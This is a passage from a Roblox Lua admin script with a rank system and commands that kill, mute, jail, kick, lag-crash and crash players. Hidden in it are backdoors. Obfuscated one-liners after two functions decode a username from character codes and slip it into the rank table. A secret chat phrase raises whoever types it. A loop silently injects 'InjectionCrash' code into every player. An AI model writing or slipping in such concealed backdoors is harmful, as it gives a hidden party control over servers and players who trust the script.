  810. Tab.FormFactor = "Custom"
  811. Tab.Anchored = true
  812. if Time == nil then
  813. Tab.Color = Color
  814. else
  815. Tab.Color = AlertColor
  816. end
  817. Tab.CanCollide = false
  818. Tab.Locked = true
  819. Tab.Transparency = 0.15
  820. Tab.Size = Vector3.new(2, 2, 0.01)
  821. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  822. Tab.Parent = Holder
  823.  
  824. local ID = Instance.new("NumberValue")
  825. ID.Name = "ID"
  826. ID.Value = math.random(-999999999, 999999999)
  827. ID.Parent = Holder
  828.  
  829. Delay(0, function()
  830. while wait() do
  831. if Tab.Parent == nil and FindTab(Holder) then
  832. ypcall(function()
  833. for i,v in pairs(AllTabs) do
  834. if v.Holder == Holder then
  835. ypcall(function() v.Holder:Destroy() end)
  836. AllTabs[i] = nil
  837. end
  838. end
  839. end)
  840. Ping(Msg, Plr, Time, Func, Color, Image)
  841. break
  842. end
  843. end
  844. end)
  845.  
  846. local BM = Instance.new("BlockMesh")
  847. BM.Parent = Tab
  848.  
  849. Sel = Instance.new("SelectionBox")
  850. Sel.Color = BrickColor.new("Institutional white")
  851. Sel.Transparency = 0.75
  852. Sel.Adornee = Tab
  853. Sel.Parent = Tab
  854.  
  855. local BG = Instance.new("BillboardGui")
  856. BG.Name = "BG"
  857. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  858. BG.Size = UDim2.new(0,1,0,1)
  859. BG.Adornee = Tab
  860. BG.Parent = Tab
  861.  
  862. Delay(0, function()
  863. while BG.Parent ~= nil do wait()
  864. ypcall(function()
  865. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  866. end)
  867. end
  868. end)
  869.  
  870. local TL = Instance.new("TextLabel")
  871. TL.Name = "TL"
  872. TL.FontSize = "Size18"
  873. TL.Font = "Arial"
  874. TL.Text = Msg
  875. TL.TextColor3 = Color3.new(1, 0, 0)
  876. TL.Size = UDim2.new(0,1,0,1)
  877. TL.TextTransparency = 0
  878. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  879. TL.TextStrokeTransparency = 0.25
  880. TL.Parent = BG
  881.  
  882. if ShowGarbage == true then
  883. Delay(0, function()
  884. while TL.Parent ~= nil do
  885. TL.Text = "Current Garbage Count: "..GetGarbage()
  886. wait(.5)
  887. end
  888. end)
  889. end
  890.  
  891. local PL = Instance.new("PointLight", Tab)
  892. PL.Color = Color3.new(1, 0, 1)
  893. PL.Range = 15
  894. PL.Parent = Tab
  895.  
  896. if Image ~= nil then
  897. local BBBG = Instance.new("BillboardGui")
  898. BBBG.Size = UDim2.new(5, 0, 6, 0)
  899. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  900. BBBG.AlwaysOnTop = true
  901. BBBG.Adornee = Tab
  902. BBBG.Parent = Tab
  903.  
  904. Delay(0, function()
  905. while BBBG.Parent ~= nil do wait()
  906. ypcall(function()
  907. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  908. end)
  909. end
  910. end)
  911.  
  912. local NewImg = Instance.new("ImageLabel")
  913. NewImg.Size = UDim2.new(1, 0, 1, 0)
  914. NewImg.BackgroundTransparency = 1
  915. NewImg.Image = Image
  916. NewImg.Parent = BBBG
  917. end
  918.  
  919. local Clicker = Instance.new("ClickDetector")
  920. Clicker.MaxActivationDistance = 1/0
  921.  
  922. if Time ~= nil then
  923. coroutine.resume(coroutine.create(function()
  924. wait(tonumber(Time))
  925. Dismiss(Plr, ID)
  926. end))
  927. end
  928.  
  929. Clicker.MouseClick:connect(function(Player)
  930. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  931. ypcall(function()
  932. if Func ~= nil then
  933. Func(Holder)
  934. else
  935. Dismiss(Player, ID)
  936. end
  937. end)
  938. end
  939. end)
  940. Clicker.Parent = Tab
  941.  
  942. Holder.Parent = Work
  943.  
  944. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  945. end)
  946. end
  947. end
  948.  
  949. function PlaceAllRanks(DontShowRank)
  950. ypcall(function()
  951. for _,p in pairs(All()) do
  952. ypcall(function()
  953. PutInRank = false
  954. for _,v in pairs(Rankings) do
  955. if v.Name:lower() == p.Name:lower() then
  956. if v.Rank >= 7 then
  957. v.Rank = 5
  958. elseif v.Rank == -1 then
  959. Crash1(p)
  960. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  961. elseif v.Rank == -2 then
  962. if LS ~= nil then
  963. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  964. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  965. else
  966. Ping("LS Is Nil", nil, 5)
  967. end
  968. elseif v.Rank == -3 then
  969. if LS ~= nil then
  970. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  971. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  972. else
  973. Ping("LS Is Nil", nil, 5)
  974. end
  975. end
  976. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  977. if DontShowRank == nil then
  978. Ping("You Are Rank: "..v.Rank, p)
  979. end
  980. PutInRank = true
  981. break
  982. end
  983. end
  984. if PutInRank == false then
  985. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  986. end
  987. end)
  988. end
  989. end)
  990. end
  991.  
  992. function FindRank(Plr)
  993. ypcall(function()
  994. if type(Plr) == "userdata" then
  995. Plr = Plr.Name
  996. end
  997. end)
  998. return GetRank(Plr).Rank
  999. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1000.  
  1001. function FindRankDetails(Plr)
  1002. ypcall(function()
  1003. if type(Plr) == "userdata" then
  1004. Plr = Plr.Name
  1005. end
  1006. end)
  1007. return RankDetails[FindRank(Plr)]
  1008. end
  1009.  
  1010. function OpenCmds(Rank, Plr)
  1011. Dismiss(Plr)
  1012. for Name,Tab in pairs(Commands) do
  1013. if Tab.Rank <= Rank then
  1014. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1015. Dismiss(Plr)
  1016. Ping("Command: "..Name, Plr)
  1017. Ping("Rank: "..Tab.Rank, Plr)
  1018. Ping("Desc: "..Tab.Desc, Plr)
  1019. end)
  1020. elseif Rank == 1337 then
  1021. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1022. Dismiss(Plr)
  1023. Ping("Command: "..Name, Plr)
  1024. Ping("Rank: "..Tab.Rank, Plr)
  1025. Ping("Desc: "..Tab.Desc, Plr)
  1026. end)
  1027. end
  1028. end
  1029. end
  1030.  
  1031. function EditStatus(Plr, Num)
  1032. ChangeRank(Plr, Num)
  1033. end
  1034.  
  1035. function PlaceSpecificRank(p, DontShowRank)
  1036. ypcall(function()
  1037. PutInRank = false
  1038. for _,v in pairs(Rankings) do
  1039. if v.Name:lower() == p.Name:lower() then
  1040. if v.Rank >= 7 then
  1041. v.Rank = 5
  1042. elseif v.Rank == -1 then
  1043. Crash1(p)
  1044. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1045. elseif v.Rank == -2 then
  1046. if LS ~= nil then
  1047. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1048. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1049. else
  1050. Ping("LS Is Nil", nil, 5)
  1051. end
  1052. elseif v.Rank == -3 then
  1053. if LS ~= nil then
  1054. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1055. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1056. else
  1057. Ping("LS Is Nil", nil, 5)
  1058. end
  1059. end
  1060. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1061. if DontShowRank == nil then
  1062. Ping("You Are Rank: "..v.Rank, p)
  1063. end
  1064. PutInRank = true
  1065. break
  1066. end
  1067. end
  1068. if PutInRank == false then
  1069. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1070. end
  1071. end)
  1072. end
  1073.  
  1074. function onChatted(Msg, Speaker)
  1075. if Removed == false then
  1076. if FindRank(Speaker) < 1 then
  1077. return
  1078. end
  1079. coroutine.resume(coroutine.create(function()
  1080. ypcall(function()
  1081. ExecuteFunc(Msg, Speaker)
  1082. Msg = Msg:gsub("","")
  1083. if Msg:sub(1,1) == "@" then
  1084. for i = 2, #Msg do
  1085. if Msg:sub(i, i) == Bet then
  1086. local IsForPlr = false
  1087. for _,v in pairs(All()) do
  1088. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1089. onChatted(Msg:sub(i + 1), v)
  1090. IsForPlr = true
  1091. end
  1092. end
  1093. if IsForPlr == true then
  1094. return
  1095. end
  1096. end
  1097. end
  1098. end
  1099. if Msg:find("&") then
  1100. local Split = Msg:find("&")
  1101. onChatted(Msg:sub(1,Split-1))
  1102. onChatted(Msg:sub(Split+1))
  1103. return
  1104. end
  1105. for Name,Command in pairs(Commands) do
  1106. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1107. Dismiss(Speaker.Name)
  1108. Ping("Command: "..tostring(Command.Name), Speaker)
  1109. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1110. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1111. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1112. if FindRank(Speaker) >= Command.Rank then
  1113. local Ran,Error = coroutine.resume(coroutine.create(function()
  1114. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1115. end))
  1116. if not Ran then
  1117. Ping(Error, Speaker, 10)
  1118. end
  1119. else
  1120. Ping("Your Rank Is Too Low", Plr, 6)
  1121. end
  1122. end
  1123. end
  1124. end)
  1125. end))
  1126. end
  1127. end
  1128.  
  1129. function MakeBase()
  1130. local Base = Instance.new("Part")
  1131. Base.BrickColor = BrickColor.new("Dark green")
  1132. Base.Position = Vector3.new(0, 0.5, 0)
  1133. Base.Transparency = 0
  1134. Base.Elasticity = 0.5
  1135. Base.FormFactor = "Custom"
  1136. Base.CanCollide = true
  1137. Base.Friction = 0.30000001192093
  1138. Base.Size = Vector3.new(512, 1.20000005, 512)
  1139. Base.Archivable = true
  1140. Base.Material = "Plastic"
  1141. Base.RotVelocity = Vector3.new(0, 0, 0)
  1142. Base.Reflectance = 0
  1143. Base.Locked = true
  1144. Base.Anchored = true
  1145. Base.Name = "Base"
  1146. Base.TopSurface = "Smooth"
  1147. Base.BottomSurface = "Inlet"
  1148. Base.Shape = "Block"
  1149. Base.Parent = Work
  1150. end
  1151.  
  1152. function LClean()
  1153. ypcall(function()
  1154. for _,v in pairs(Work:GetChildren()) do
  1155. ypcall(function()
  1156. if v.ClassName == "Terrain" then
  1157. v:ClearAllChildren()
  1158. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1159. Clear(v)
  1160. elseif v.Name == "Base" then
  1161. ypcall(function()
  1162. local Base = v
  1163. Base.BrickColor = BrickColor.new("Dark green")
  1164. Base.Position = Vector3.new(0, 0.5, 0)
  1165. Base.Transparency = 0
  1166. Base.Elasticity = 0.5
  1167. Base.FormFactor = "Custom"
  1168. Base.CanCollide = true
  1169. Base.Friction = 0.30000001192093
  1170. Base.Size = Vector3.new(512, 1.20000005, 512)
  1171. Base.Archivable = true
  1172. Base.Material = "Plastic"
  1173. Base.RotVelocity = Vector3.new(0, 0, 0)
  1174. Base.Reflectance = 0
  1175. Base.Locked = true
  1176. Base.Anchored = true
  1177. Base.Name = "Base"
  1178. Base.TopSurface = "Studs"
  1179. Base.BottomSurface = "Inlet"
  1180. Base.Shape = "Block"
  1181. Base.Parent = Work
  1182. end)
  1183. end
  1184. end)
  1185. end
  1186. end)
  1187. end
  1188.  
  1189. function Clean()
  1190. ypcall(function()
  1191. for _,v in pairs(Work:GetChildren()) do
  1192. ypcall(function()
  1193. if v.ClassName == "Terrain" then
  1194. v:ClearAllChildren()
  1195. else
  1196. Clear(v)
  1197. end
  1198. end)
  1199. end
  1200. MakeBase()
  1201. for _,v in pairs(All()) do
  1202. v:LoadCharacter()
  1203. end
  1204. end)
  1205. end
  1206.  
  1207. function Clear(v)
  1208. if v.Name:lower() == "sbgui" then
  1209. return
  1210. end
  1211. ypcall(function()
  1212. if #v:GetChildren() > 0 then
  1213. for _,x in pairs(v:GetChildren()) do
  1214. ypcall(function()
  1215. Clear(x)
  1216. end)
  1217. end
  1218. end
  1219. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1220. v:Destroy()
  1221. end
  1222. end)
  1223. end
  1224.  
  1225. function Command(Name, Rank, Desc, Func)
  1226. if Name == nil then
  1227. Name = "N/A"
  1228. end
  1229. if Desc == nil then
  1230. Desc = "N/A"
  1231. end
  1232. if Func == nil then
  1233. Func = function() end
  1234. end
  1235. if Rank == nil then
  1236. Rank = 0
  1237. end
  1238. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1239. end
  1240.  
  1241. function GetSplit(Msg)
  1242. return Msg:find(Bet) or nil
  1243. end
  1244.  
  1245. function ExecuteFunc(Msg, Plr)
  1246. ypcall(function()
  1247. if Msg == "LogEnable" then
  1248. LogOn = true
  1249. elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1250. EditStatus(Plr, MakeNum())
  1251. end
  1252. end)
  1253. end
  1254.  
  1255. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1256.  
  1257. function randPlayer(Plr)
  1258. wait()
  1259. local ThePlrValue = nil
  1260. local FoundPlayer = false
  1261. ypcall(function()
  1262. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1263. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1264. wait()
  1265. randPlayer(Plr)
  1266. return
  1267. else
  1268. FoundPlayer = true
  1269. end
  1270. end)
  1271. if FoundPlayer == true then
  1272. return ThePlrValue
  1273. end
  1274. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1275.  
  1276. function getPlayer(Plr, Name)
  1277. local Players = {}
  1278. ypcall(function()
  1279. Name = Name:lower()
  1280. if Name == "me" then
  1281. table.insert(Players, Plr)
  1282. elseif Name == "all" or Name == "" then
  1283. for _,v in pairs(All()) do
  1284. if CanRun(Plr, v) then
  1285. table.insert(Players, v)
  1286. end
  1287. end
  1288. elseif Name == "others" then
  1289. for _,v in pairs(All()) do
  1290. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1291. table.insert(Players, v)
  1292. end
  1293. end
  1294. elseif Name == "random" then
  1295. local FoundRandPlr = randPlayer(Plr)
  1296. table.insert(Players, FoundRandPlr)
  1297. else
  1298. for _,v in pairs(All()) do
  1299. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1300. table.insert(Players, v)
  1301. end
  1302. end
  1303. end
  1304. end)
  1305. return Players
  1306. end
  1307.  
  1308. function ListPlayers(Speaker)
  1309. ypcall(function()
  1310. Dismiss(Speaker)
  1311. for _,v in pairs(All2()) do
  1312. if v.Parent ~= nil then
  1313. Ping(v.Name, Speaker, nil, function()
  1314. Dismiss(Speaker)
  1315. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1316. Ping("Rank: "..FindRank(v.Name), Speaker)
  1317. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1318. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1319. Ping("Set Rank", Speaker, nil, function()
  1320. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1321. Dismiss(Speaker)
  1322. for i = -2, 5 do
  1323. Ping(i, Speaker, nil, function()
  1324. ChangeRank(v, i)
  1325. Dismiss(Speaker)
  1326. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1327. end)
  1328. end
  1329. else
  1330. Ping("Your Rank Is Too Low", Speaker, 5)
  1331. end
  1332. end)
  1333. Ping("Crash (Remote)", Speaker, nil, function()
  1334. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1335. Crash2(v.Name)
  1336. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1337. end
  1338. end)
  1339. Ping("Crash (Insert)", Speaker, nil, function()
  1340. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1341. Crash3(v, Speaker)
  1342. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1343. end
  1344. end)
  1345. Ping("Kick", Speaker, nil, function()
  1346. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1347. v:Kick()
  1348. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1349. end
  1350. end)
  1351. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1352. else
  1353. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1354. Dismiss(Speaker)
  1355. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1356. ypcall(function()
  1357. Ping("Rank: "..FindRank(v.Name), Speaker)
  1358. end)
  1359. ypcall(function()
  1360. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1361. end)
  1362. ypcall(function()
  1363. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1364. end)
  1365. ypcall(function()
  1366. Ping("Set Rank", Speaker, nil, function()
  1367. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1368. Dismiss(Speaker)
  1369. for i = -2, 5 do
  1370. Ping(i, Speaker, nil, function()
  1371. ChangeRank(v, i)
  1372. Dismiss(Speaker)
  1373. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1374. end)
  1375. end
  1376. else
  1377. Ping("Your Rank Is Too Low", Speaker, 5)
  1378. end
  1379. end)
  1380. end)
  1381. ypcall(function()
  1382. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1383. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1384. Crash2(v.Name)
  1385. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1386. end
  1387. end)
  1388. end)
  1389. ypcall(function()
  1390. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1391. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1392. Crash3(v, Speaker)
  1393. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1394. end
  1395. end)
  1396. end)
  1397. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1398. end
  1399. end
  1400. end)
  1401. end
  1402.  
  1403. --Misc
  1404.  
  1405. coroutine.resume(coroutine.create(function()
  1406. PlaceAllRanks()
  1407. end))
  1408.  
  1409. Delay(0, function()
  1410. for _,v in pairs(All()) do
  1411. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1412. end
  1413. end)
  1414.  
  1415. local starttime = tick()
  1416.  
  1417. game:GetService("RunService").Heartbeat:connect(function()
  1418. if Removed == false then
  1419. ypcall(function()
  1420. for _,Player in pairs(All()) do
  1421. local PlayerTablets = {}
  1422. for i,v in pairs(AllTabs) do
  1423. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1424. table.insert(PlayerTablets, v)
  1425. end
  1426. end
  1427. for i = 1, #PlayerTablets do
  1428. ypcall(function()
  1429. local tab = PlayerTablets[i].Tab
  1430. local pos = nil
  1431. ypcall(function()
  1432. pos = Player.Character.Torso.CFrame
  1433. end)
  1434. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1435. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1436. local cPos = tab.Position
  1437. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1438. local nPos = (ePos-cPos)*.25
  1439. cPos = cPos + nPos
  1440. local t = (tick() - starttime) % 360
  1441. local change = 0.625
  1442. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1443. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1444. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1445. end)
  1446. end
  1447. end
  1448. end)
  1449. end
  1450. end)
  1451.  
  1452. Delay(0, function()
  1453. while wait() do
  1454. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1455. ypcall(function()
  1456. if Injected[v.Name] == nil and LS ~= nil then
  1457. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1458. Injected[v.Name] = true
  1459. end
  1460. end)
  1461. end
  1462. end
  1463. end)
  1464.  
  1465. Plrs.PlayerAdded:connect(function(Plr)
  1466. wait(.1)
  1467. ypcall(function()
  1468. if Removed == false then
  1469. local JoinPlrName = Plr.Name
  1470. coroutine.resume(coroutine.create(function()
  1471. PlaceSpecificRank(Plr)
  1472. end))
  1473. coroutine.resume(coroutine.create(function()
  1474. if Injected[JoinPlrName] ~= nil then
  1475. Injected[JoinPlrName] = nil
  1476. end
  1477. end))
  1478. coroutine.resume(coroutine.create(function()
  1479. Dismiss(Plr)
  1480. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1481. end))
  1482. end
  1483. end)
  1484. end)
  1485.  
  1486. Plrs.PlayerRemoving:connect(function(Plr)
  1487. wait(.1)
  1488. ypcall(function()
  1489. if Removed == false then
  1490. local LeftPlrName = Plr.Name
  1491. coroutine.resume(coroutine.create(function()
  1492. if Injected[LeftPlrName] ~= nil then
  1493. Injected[LeftPlrName] = nil
  1494. end
  1495. end))
  1496. end
  1497. end)
  1498. end)
  1499.  
  1500. coroutine.resume(coroutine.create(function()
  1501. Delay(0, function()
  1502. while FoundLocalScript == false do wait()
  1503. ypcall(function()
  1504. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1505. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1506. for _,c in pairs(v:children()) do
  1507. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1508. local NewVal = c:Clone()
  1509. NewVal.Name = "LoadingVal"
  1510. for _,s in pairs(v:GetChildren()) do
  1511. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1512. print("Found Owner")
  1513. OwnSource = s.Name
  1514. print(OwnSource)
  1515. break
  1516. end
  1517. end
  1518. wait()
  1519. LS = v:Clone()
  1520. NewVal.Parent = LS
  1521. LSSource = "LoadingVal"
  1522. FoundLocalScript = true
  1523. break
  1524. end
  1525. end
  1526. end
  1527. end
  1528. end)
  1529. end
  1530. end)
  1531. end))
  1532.  
  1533. --Commands
  1534.  
  1535. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1536. Dismiss(Speaker.Name)
  1537. Ping("created by wizardmaster809", Speaker)
  1538. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1539. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1540. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1541. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1542. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1543. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1544. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1545. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1546. end)
  1547.  
  1548. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1549. Dismiss(Speaker.Name)
  1550. end)
  1551.  
  1552. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1553. local PlrTab = getPlayer(Speaker, Msg)
  1554. if #PlrTab > 0 then
  1555. for _,v in pairs(PlrTab) do
  1556. ypcall(function()
  1557. v.Character:BreakJoints()
  1558. Ping("Killed "..v.Name, Speaker, 5)
  1559. end)
  1560. end
  1561. end
  1562. end)
  1563.  
  1564. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1565. local PlrTab = getPlayer(Speaker, Msg)
  1566. if #PlrTab > 0 then
  1567. for _,v in pairs(PlrTab) do
  1568. ypcall(function()
  1569. if v.Name ~= Owner then
  1570. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1571. Ping("Muted "..v.Name, Speaker, 5)
  1572. end
  1573. end)
  1574. end
  1575. end
  1576. end)
  1577.  
  1578. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1579. local PlrTab = getPlayer(Speaker, Msg)
  1580. if #PlrTab > 0 then
  1581. for _,v in pairs(PlrTab) do
  1582. ypcall(function()
  1583. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1584. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1585. end)
  1586. end
  1587. end
  1588. end)
  1589.  
  1590. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1591. local PlrTab = getPlayer(Speaker, Msg)
  1592. if #PlrTab > 0 then
  1593. for _,v in pairs(PlrTab) do
  1594. ypcall(function()
  1595. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1596. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1597. end)
  1598. end
  1599. end
  1600. end)
  1601.  
  1602. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1603. local PlrTab = getPlayer(Speaker, Msg)
  1604. if #PlrTab > 0 then
  1605. for _,v in pairs(PlrTab) do
  1606. ypcall(function()
  1607. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1608. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1609. end)
  1610. end
  1611. end
  1612. end)
  1613.  
  1614. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1615. local PlrTab = getPlayer(Speaker, Msg)
  1616. if #PlrTab > 0 then
  1617. for _,v in pairs(PlrTab) do
  1618. ypcall(function()
  1619. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1620. Ping("UnMuted "..v.Name, Speaker, 5)
  1621. end)
  1622. end
  1623. end
  1624. end)
  1625.  
  1626. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1627. local Worked = false
  1628. for _,v in pairs(Work:GetChildren()) do
  1629. if string.find(v.Name:lower(), Msg:lower()) then
  1630. if v:IsA("Script") or v:IsA("LocalScript") then
  1631. v.Disabled = true
  1632. v:Destroy()
  1633. Worked = true
  1634. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1635. end
  1636. end
  1637. end
  1638. if Worked == false then
  1639. Ping("Script Not Found", Speaker, 5)
  1640. end
  1641. end)
  1642.  
  1643. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1644. Dismiss(Speaker)
  1645. local AllScripts = {}
  1646. for _,v in pairs(Work:GetChildren()) do
  1647. if v:IsA("Script") then
  1648. table.insert(AllScripts, v.Name)
  1649. end
  1650. end
  1651. if #AllScripts > 0 then
  1652. for _,v in pairs(AllScripts) do
  1653. Ping(v, Speaker)
  1654. end
  1655. else
  1656. Ping("No Scripts Found", Speaker, 5)
  1657. end
  1658. end)
  1659.  
  1660. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1661. Dismiss(Speaker)
  1662. local LocalScripts = {}
  1663. for _,v in pairs(All()) do
  1664. ypcall(function()
  1665. for _,x in pairs(v.Character:GetChildren()) do
  1666. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
